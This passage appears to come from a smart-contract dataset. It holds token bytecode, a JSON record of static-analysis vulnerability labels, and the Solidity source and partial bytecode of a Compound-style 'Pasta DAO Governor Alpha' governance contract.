06565b5b600061319386828701613157565b93505060206131a486828701613157565b92505060406131b586828701613157565b9150509250925092565b60006040820190506131d46000830185612c6b565b6131e16020830184612921565b9392505050565b6000815190506131f781612c95565b92915050565b60006020828403121561321357613212612a06565b5b6000613221848285016131e8565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613286602483612956565b91506132918261322a565b604082019050919050565b600060208201905081810360008301526132b581613279565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613318602283612956565b9150613323826132bc565b604082019050919050565b600060208201905081810360008301526133478161330b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006133aa602583612956565b91506133b58261334e565b604082019050919050565b600060208201905081810360008301526133d98161339d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061343c602383612956565b9150613447826133e0565b604082019050919050565b6000602082019050818103600083015261346b8161342f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006134ce602983612956565b91506134d982613472565b604082019050919050565b600060208201905081810360008301526134fd816134c1565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b600061353a601883612956565b915061354582613504565b602082019050919050565b600060208201905081810360008301526135698161352d565b9050919050565b7f706c73206e6f20736e6970000000000000000000000000000000000000000000600082015250565b60006135a6600b83612956565b91506135b182613570565b602082019050919050565b600060208201905081810360008301526135d581613599565b9050919050565b60006135e782612917565b91506135f283612917565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561362757613626612ea9565b5b828201905092915050565b7f596f752063616e2774206f776e2074686174206d616e7920746f6b656e73206160008201527f74206f6e63652e00000000000000000000000000000000000000000000000000602082015250565b600061368e602783612956565b915061369982613632565b604082019050919050565b600060208201905081810360008301526136bd81613681565b9050919050565b7f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000600082015250565b60006136fa601b83612956565b9150613705826136c4565b602082019050919050565b60006020820190508181036000830152613729816136ed565b9050919050565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b600061378c602283612956565b915061379782613730565b604082019050919050565b600060208201905081810360008301526137bb8161377f565b9050919050565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b600061381e602383612956565b9150613829826137c2565b604082019050919050565b6000602082019050818103600083015261384d81613811565b9050919050565b600061385f82612917565b915061386a83612917565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138a3576138a2612ea9565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006138e882612917565b91506138f383612917565b925082613903576139026138ae565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6139a181612a2b565b82525050565b60006139b38383613998565b60208301905092915050565b6000602082019050919050565b60006139d78261396c565b6139e18185613977565b93506139ec83613988565b8060005b83811015613a1d578151613a0488826139a7565b9750613a0f836139bf565b9250506001810190506139f0565b5085935050505092915050565b600060a082019050613a3f6000830188612921565b613a4c60208301876130e7565b8181036040830152613a5e81866139cc565b9050613a6d6060830185612c6b565b613a7a6080830184612921565b969550505050505056fea2646970667358221220135c7991ce9697f014801cd72374b26b719550bd5430df9cb065b502753bff5e64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,704
0x78bd635e7c76d6a48d1e4bda89e95ae8394ded11
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface PastaInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); function totalSupply() external view returns (uint256); } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "math-not-safe"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "math-not-safe"); } uint constant WAD = 10 ** 18; function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } } contract GovernorAlpha is DSMath { /// @notice The name of this contract string public constant name = "Pasta DAO Governor Alpha"; /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The duration of voting on a proposal, in blocks function votingPeriod() public pure returns (uint) { return 28800; } // ~5 days in blocks (assuming 15s blocks) /// @notice The address of the Pasta Protocol Timelock TimelockInterface public timelock; /// @notice The address of the Pasta governance token PastaInterface public pasta; /// @notice The address of the Governor Guardian address public guardian; /// @notice The total number of proposals uint public proposalCount; struct Proposal { // Unique id for looking up a proposal uint id; // Creator of the proposal address proposer; // The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; // Total supply of the token at the time of proposal creation uint totalSupply; // the ordered list of target addresses for calls to be made address[] targets; // The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; // The ordered list of function signatures to be called string[] signatures; // The ordered list of calldata to be passed to each call bytes[] calldatas; // The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; // The block at which voting ends: votes must be cast prior to this block uint endBlock; // Current number of votes in favor of this proposal uint forVotes; // Current number of votes in opposition to this proposal uint againstVotes; // Flag marking whether the proposal has been canceled bool canceled; // Flag marking whether the proposal has been executed bool executed; // Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { // Whether or not a vote has been cast bool hasVoted; // Whether or not the voter supports the proposal bool support; // The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); constructor(address pasta_, address guardian_, address timelock_) public { pasta = PastaInterface(pasta_); guardian = guardian_; timelock = TimelockInterface(timelock_); } /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed function quorumVotes(uint proposalId) public view returns (uint) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::quorumVotes: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; uint totalSupply_ = proposal.totalSupply; return wmul(totalSupply_, 4e16); // 4% of the total supply } /// @notice The number of votes required in order for a voter to become a proposer function proposalThreshold() public view returns (uint) { uint totalSupply_ = pasta.totalSupply(); return wmul(totalSupply_, 1e16); // 1% of the total supply } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(pasta.getPriorVotes(msg.sender, sub(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add(block.number, votingDelay()); uint endBlock = add(startBlock, votingPeriod()); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, totalSupply: pasta.totalSupply(), targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == proposal.proposer || msg.sender == guardian || pasta.getPriorVotes(proposal.proposer, sub(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes(proposalId)) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint96 votes = pasta.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add(proposal.forVotes, votes); } else { proposal.againstVotes = add(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian"); guardian = address(0); } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian"); timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian"); timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } }
0x60806040526004361061019c5760003560e01c80634634c61f116100ec578063d33219b41161008a578063ddf0b00911610064578063ddf0b009146105c4578063deaaa7cc146105ed578063e23a9a5214610618578063fe0d94c1146106555761019c565b8063d33219b414610531578063da35c6641461055c578063da95691a146105875761019c565b80637bdbe4d0116100c65780637bdbe4d01461049b57806391500671146104c6578063b58131b0146104ef578063b9a619611461051a5761019c565b80634634c61f146104305780634d93978e14610459578063760fbc13146104845761019c565b806320606b70116101595780633932abb1116101335780633932abb1146103745780633e4f49e61461039f57806340e58ee5146103dc578063452a9320146104055761019c565b806320606b70146102e057806321f43e421461030b578063328dd982146103345761019c565b8063013cf08b146101a157806302a251a3146101e757806306fdde03146102125780630f7b1f081461023d57806315373e3d1461027a57806317977c61146102a3575b600080fd5b3480156101ad57600080fd5b506101c860048036036101c3919081019061365e565b610671565b6040516101de9a99989796959493929190614fdf565b60405180910390f35b3480156101f357600080fd5b506101fc6106ff565b6040516102099190614f14565b60405180910390f35b34801561021e57600080fd5b50610227610709565b6040516102349190614c17565b60405180910390f35b34801561024957600080fd5b50610264600480360361025f919081019061365e565b610742565b6040516102719190614f14565b60405180910390f35b34801561028657600080fd5b506102a1600480360361029c91908101906136ec565b6107cf565b005b3480156102af57600080fd5b506102ca60048036036102c59190810190613477565b6107de565b6040516102d79190614f14565b60405180910390f35b3480156102ec57600080fd5b506102f56107f6565b6040516103029190614aea565b60405180910390f35b34801561031757600080fd5b50610332600480360361032d91908101906134a0565b61080d565b005b34801561034057600080fd5b5061035b6004803603610356919081019061365e565b61099a565b60405161036b9493929190614a89565b60405180910390f35b34801561038057600080fd5b50610389610c77565b6040516103969190614f14565b60405180910390f35b3480156103ab57600080fd5b506103c660048036036103c1919081019061365e565b610c80565b6040516103d39190614bfc565b60405180910390f35b3480156103e857600080fd5b5061040360048036036103fe919081019061365e565b610e65565b005b34801561041157600080fd5b5061041a61125b565b60405161042791906148b6565b60405180910390f35b34801561043c57600080fd5b5061045760048036036104529190810190613728565b611281565b005b34801561046557600080fd5b5061046e611450565b60405161047b9190614bc6565b60405180910390f35b34801561049057600080fd5b50610499611476565b005b3480156104a757600080fd5b506104b061154a565b6040516104bd9190614f14565b60405180910390f35b3480156104d257600080fd5b506104ed60048036036104e891908101906134a0565b611553565b005b3480156104fb57600080fd5b506105046116db565b6040516105119190614f14565b60405180910390f35b34801561052657600080fd5b5061052f611797565b005b34801561053d57600080fd5b506105466118aa565b6040516105539190614be1565b60405180910390f35b34801561056857600080fd5b506105716118cf565b60405161057e9190614f14565b60405180910390f35b34801561059357600080fd5b506105ae60048036036105a991908101906134dc565b6118d5565b6040516105bb9190614f14565b60405180910390f35b3480156105d057600080fd5b506105eb60048036036105e6919081019061365e565b611f52565b005b3480156105f957600080fd5b506106026122a1565b60405161060f9190614aea565b60405180910390f35b34801561062457600080fd5b5061063f600480360361063a91908101906136b0565b6122b8565b60405161064c9190614ef9565b60405180910390f35b61066f600480360361066a919081019061365e565b61239a565b005b60046020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600201549080600301549080600801549080600901549080600a01549080600b01549080600c0160009054906101000a900460ff169080600c0160019054906101000a900460ff1690508a565b6000617080905090565b6040518060400160405280601881526020017f50617374612044414f20476f7665726e6f7220416c706861000000000000000081525081565b600081600354101580156107565750600082115b610795576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078c90614cd9565b60405180910390fd5b60006004600084815260200190815260200160002090506000816003015490506107c681668e1bc9bf0400006125e7565b92505050919050565b6107da338383612627565b5050565b60056020528060005260406000206000915090505481565b6040516108029061488c565b604051809103902081565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461089d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089490614cb9565b60405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630825f38f6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660008560405160200161090f91906148b6565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161093e94939291906148fa565b600060405180830381600087803b15801561095857600080fd5b505af115801561096c573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250610995919081019061361d565b505050565b60608060608060006004600087815260200190815260200160002090508060040181600501826006018360070183805480602002602001604051908101604052809291908181526020018280548015610a4857602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116109fe575b5050505050935082805480602002602001604051908101604052809291908181526020018280548015610a9a57602002820191906000526020600020905b815481526020019060010190808311610a86575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b82821015610b7e578382906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b6a5780601f10610b3f57610100808354040283529160200191610b6a565b820191906000526020600020905b815481529060010190602001808311610b4d57829003601f168201915b505050505081526020019060010190610ac2565b50505050915080805480602002602001604051908101604052809291908181526020016000905b82821015610c61578382906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c4d5780601f10610c2257610100808354040283529160200191610c4d565b820191906000526020600020905b815481529060010190602001808311610c3057829003601f168201915b505050505081526020019060010190610ba5565b5050505090509450945094509450509193509193565b60006001905090565b60008160035410158015610c945750600082115b610cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cca90614cf9565b60405180910390fd5b600060046000848152602001908152602001600020905080600c0160009054906101000a900460ff1615610d0b576002915050610e60565b80600801544311610d20576000915050610e60565b80600901544311610d35576001915050610e60565b80600b015481600a0154111580610d575750610d5083610742565b81600a0154105b15610d66576003915050610e60565b600081600201541415610d7d576004915050610e60565b80600c0160019054906101000a900460ff1615610d9e576007915050610e60565b610e4a81600201546000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0d57600080fd5b505afa158015610e21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610e459190810190613687565b6128f6565b4210610e5a576006915050610e60565b60059150505b919050565b6000610e7082610c80565b9050600780811115610e7e57fe5b816007811115610e8a57fe5b1415610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec290614e99565b60405180910390fd5b60006004600084815260200190815260200160002090508060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f8d5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806110865750610f9b6116db565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe18360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611009436001612946565b6040518363ffffffff1660e01b8152600401611026929190614959565b60206040518083038186803b15801561103e57600080fd5b505afa158015611052573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611076919081019061379f565b6bffffffffffffffffffffffff16105b6110c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bc90614dd9565b60405180910390fd5b600181600c0160006101000a81548160ff02191690831515021790555060008090505b816004018054905081101561121e576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663591fcdfe83600401838154811061114357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684600501848154811061117d57fe5b906000526020600020015485600601858154811061119757fe5b906000526020600020018660070186815481106111b057fe5b9060005260206000200187600201546040518663ffffffff1660e01b81526004016111df959493929190614a28565b600060405180830381600087803b1580156111f957600080fd5b505af115801561120d573d6000803e3d6000fd5b5050505080806001019150506110e8565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c8360405161124e9190614f14565b60405180910390a1505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060405161128f9061488c565b60405180910390206040518060400160405280601881526020017f50617374612044414f20476f7665726e6f7220416c7068610000000000000000815250805190602001206112dc612996565b306040516020016112f09493929190614b05565b6040516020818303038152906040528051906020012090506000604051611316906148a1565b6040518091039020878760405160200161133293929190614b4a565b6040516020818303038152906040528051906020012090506000828260405160200161135f929190614855565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161139c9493929190614b81565b6020604051602081039080840390855afa1580156113be573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561143a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143190614e59565b60405180910390fd5b611445818a8a612627565b505050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fd90614ed9565b60405180910390fd5b6000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600a905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115da90614d79565b60405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633a66f9016000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660008560405160200161165591906148b6565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161168494939291906148fa565b602060405180830381600087803b15801561169e57600080fd5b505af11580156116b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506116d691908101906135f4565b505050565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561174657600080fd5b505afa15801561175a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061177e9190810190613687565b905061179181662386f26fc100006125e7565b91505090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181e90614c39565b60405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630e18b6816040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561189057600080fd5b505af11580156118a4573d6000803e3d6000fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60006118df6116db565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe133611929436001612946565b6040518363ffffffff1660e01b81526004016119469291906148d1565b60206040518083038186803b15801561195e57600080fd5b505afa158015611972573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611996919081019061379f565b6bffffffffffffffffffffffff16116119e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119db90614e39565b60405180910390fd5b845186511480156119f6575083518651145b8015611a03575082518651145b611a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3990614db9565b60405180910390fd5b600086511415611a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7e90614e19565b60405180910390fd5b611a8f61154a565b86511115611ad2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac990614d99565b60405180910390fd5b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008114611be1576000611b2982610c80565b905060016007811115611b3857fe5b816007811115611b4457fe5b1415611b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7c90614e79565b60405180910390fd5b60006007811115611b9257fe5b816007811115611b9e57fe5b1415611bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd690614d59565b60405180910390fd5b505b6000611bf443611bef610c77565b6128f6565b90506000611c0982611c046106ff565b6128f6565b9050600360008154809291906001019190505550611c25612bd9565b604051806101c0016040528060035481526020013373ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc457600080fd5b505afa158015611cd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611cfc9190810190613687565b81526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060046000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020155606082015181600301556080820151816004019080519060200190611dde929190612c62565b5060a0820151816005019080519060200190611dfb929190612cec565b5060c0820151816006019080519060200190611e18929190612d39565b5060e0820151816007019080519060200190611e35929190612d99565b506101008201518160080155610120820151816009015561014082015181600a015561016082015181600b015561018082015181600c0160006101000a81548160ff0219169083151502179055506101a082015181600c0160016101000a81548160ff021916908315150217905550905050806000015160056000836020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e604051611f3699989796959493929190614f2f565b60405180910390a1806000015194505050505095945050505050565b60046007811115611f5f57fe5b611f6882610c80565b6007811115611f7357fe5b14611fb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611faa90614c79565b60405180910390fd5b60006004600083815260200190815260200160002090506000612074426000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636a42b8f86040518163ffffffff1660e01b815260040160206040518083038186803b15801561203757600080fd5b505afa15801561204b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061206f9190810190613687565b6128f6565b905060008090505b82600401805490508110156122595761224c83600401828154811061209d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168460050183815481106120d757fe5b90600052602060002001548560060184815481106120f157fe5b906000526020600020018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561218f5780601f106121645761010080835404028352916020019161218f565b820191906000526020600020905b81548152906001019060200180831161217257829003601f168201915b50505050508660070185815481106121a357fe5b906000526020600020018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122415780601f106122165761010080